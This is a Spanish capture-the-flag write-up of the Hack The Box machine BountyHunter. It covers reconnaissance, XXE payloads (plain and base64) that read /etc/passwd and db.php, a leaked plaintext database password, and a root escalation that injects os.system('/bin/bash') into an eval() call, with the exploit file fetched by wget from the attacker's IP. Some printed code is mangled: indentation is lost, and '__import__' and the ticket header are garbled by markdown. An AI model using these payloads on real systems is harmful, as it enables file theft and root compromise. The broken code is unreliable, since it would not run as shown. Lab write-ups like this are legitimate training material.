HTB Machine BountyHunter
Descripción general
Bienvenido al writeup de la máquina bountyhunter de la plataforma Hack The Box. BountyHunter es una máquina Linux que estuvo activa desde el 24 de julio hasta el 20 de noviembre. En esta máquina encontraremos una vulnerabilidad XXE que usaremos junto con un wrapper PHP para leer ficheros internos y obtener información sensible. Con la información obtenida nos conectaremos por SSH y una vez dentro analizaremos un script Python para descubrir cómo abusarlo y conseguir ejecución de código como root.
Antes de empezar
Conexión VPN con Tmux
Conectamos a la VPN de Hack The Box en segundo plano con tmux
tmux new -s htb
sudo openvpn ~/.vpn/htb.ovpn
Añadir al fichero hosts
Añadimos la máquina al fichero /etc/hosts, comprobamos la conexión con ping y creamos las carpetas de trabajo
echo '10.10.11.100 bountyhunter.htb' >> /etc/hosts
ping -c 1 bountyhunter.htb
mkdir -p ~/htb/bountyhunter.htb/{exploits,fuzz,http,nmap}
Reconocimiento
Escaneo con nmap
Comprobamos todos los puertos que están abiertos, detectamos el servicio y su versión con nmap
nmap -sC -sV -p- -T4 --min-rate=1000 -v -oA all bountyhunter.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Inspección del sitio web
Abrimos Firefox para inspeccionar el sitio web
firefox http://bountyhunter.htb &
Fuzzing con gobuster
Buscamos directorios y ficheros PHP
gobuster dir -u "http://bountyhunter.htb/" -w "/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt" -t 23 -x php -o root_directories_php.fuzz
/assets (Status: 301) [Size: 321] [--> http://bountyhunter.htb/assets/]
/css (Status: 301) [Size: 318] [--> http://bountyhunter.htb/css/]
/db.php (Status: 200) [Size: 0]
/index.php (Status: 200) [Size: 25169]
/js (Status: 301) [Size: 317] [--> http://bountyhunter.htb/js/]
/portal.php (Status: 200) [Size: 125]
/resources (Status: 301) [Size: 324] [--> http://bountyhunter.htb/resources/]
/server-status (Status: 403) [Size: 281]
El fichero db.php es interesante — responde con código 200 pero con tamaño 0.
Abrimos BurpSuite y navegamos por la web. El enlace al portal en la página principal lleva al Bounty Report System.
Los campos del formulario se convierten a base64 para formar una estructura XML — momento de comprobar la vulnerabilidad XXE.
Acceso Inicial
Usamos CyberChef para generar el payload, aplicando To Base64 y URL Encode con caracteres especiales.
Payload XXE
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
Payload en base64
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIHJlcGxhY2UgWzwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI%2BIF0%2BCjxidWdyZXBvcnQ%2BCiAgICA8dGl0bGU%2BJnh4ZTs8L3RpdGxlPgogICAgPGN3ZT50ZXN0PC9jd2U%2BCiAgICA8Y3Zzcz50ZXN0PC9jdnNzPgogICAgPHJld2FyZD50ZXN0PC9yZXdhcmQ%2BCjwvYnVncmVwb3J0Pg%3D%3D
¿Recuerdas el fichero db.php encontrado en el fuzzing? Lo leemos usando un wrapper PHP:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=db.php"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
Payload en base64
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI%2FPgo8IURPQ1RZUEUgcmVwbGFjZSBbPCFFTlRJVFkgeHhlIFNZU1RFTSAicGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCI%2BIF0%2BCjxidWdyZXBvcnQ%2BCiAgICA8dGl0bGU%2BJnh4ZTs8L3RpdGxlPgogICAgPGN3ZT50ZXN0PC9jd2U%2BCiAgICA8Y3Zzcz50ZXN0PC9jdnNzPgogICAgPHJld2FyZD50ZXN0PC9yZXdhcmQ%2BCjwvYnVncmVwb3J0Pg%3D%3D
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
Intentamos conectar por SSH con admin y la contraseña, pero falla. Si revisamos el fichero /etc/passwd extraído en el paso anterior, vemos que existe un usuario development.
ssh development@bountyhunter.htb
Escalada de Privilegios
sudo -l
El fichero /opt/skytrain_inc/ticketValidator.py se ejecuta como root. Posible vector de escalada.
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Revisando el código, podemos crear un fichero markdown que logre ejecución de comandos. Creamos exploit.md:
# Skytrain Inc
## Ticket to root
**Ticket Code:**
\*\*102 + 10 == 112 and **import**('os').system('/bin/bash') == False
python -m http.server 80
cd /tmp
wget http://10.10.15.162/exploit.md
chmod 777 exploit.md
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
/tmp/exploit.md
Un saludo, nos vemos en el próximo challenge.











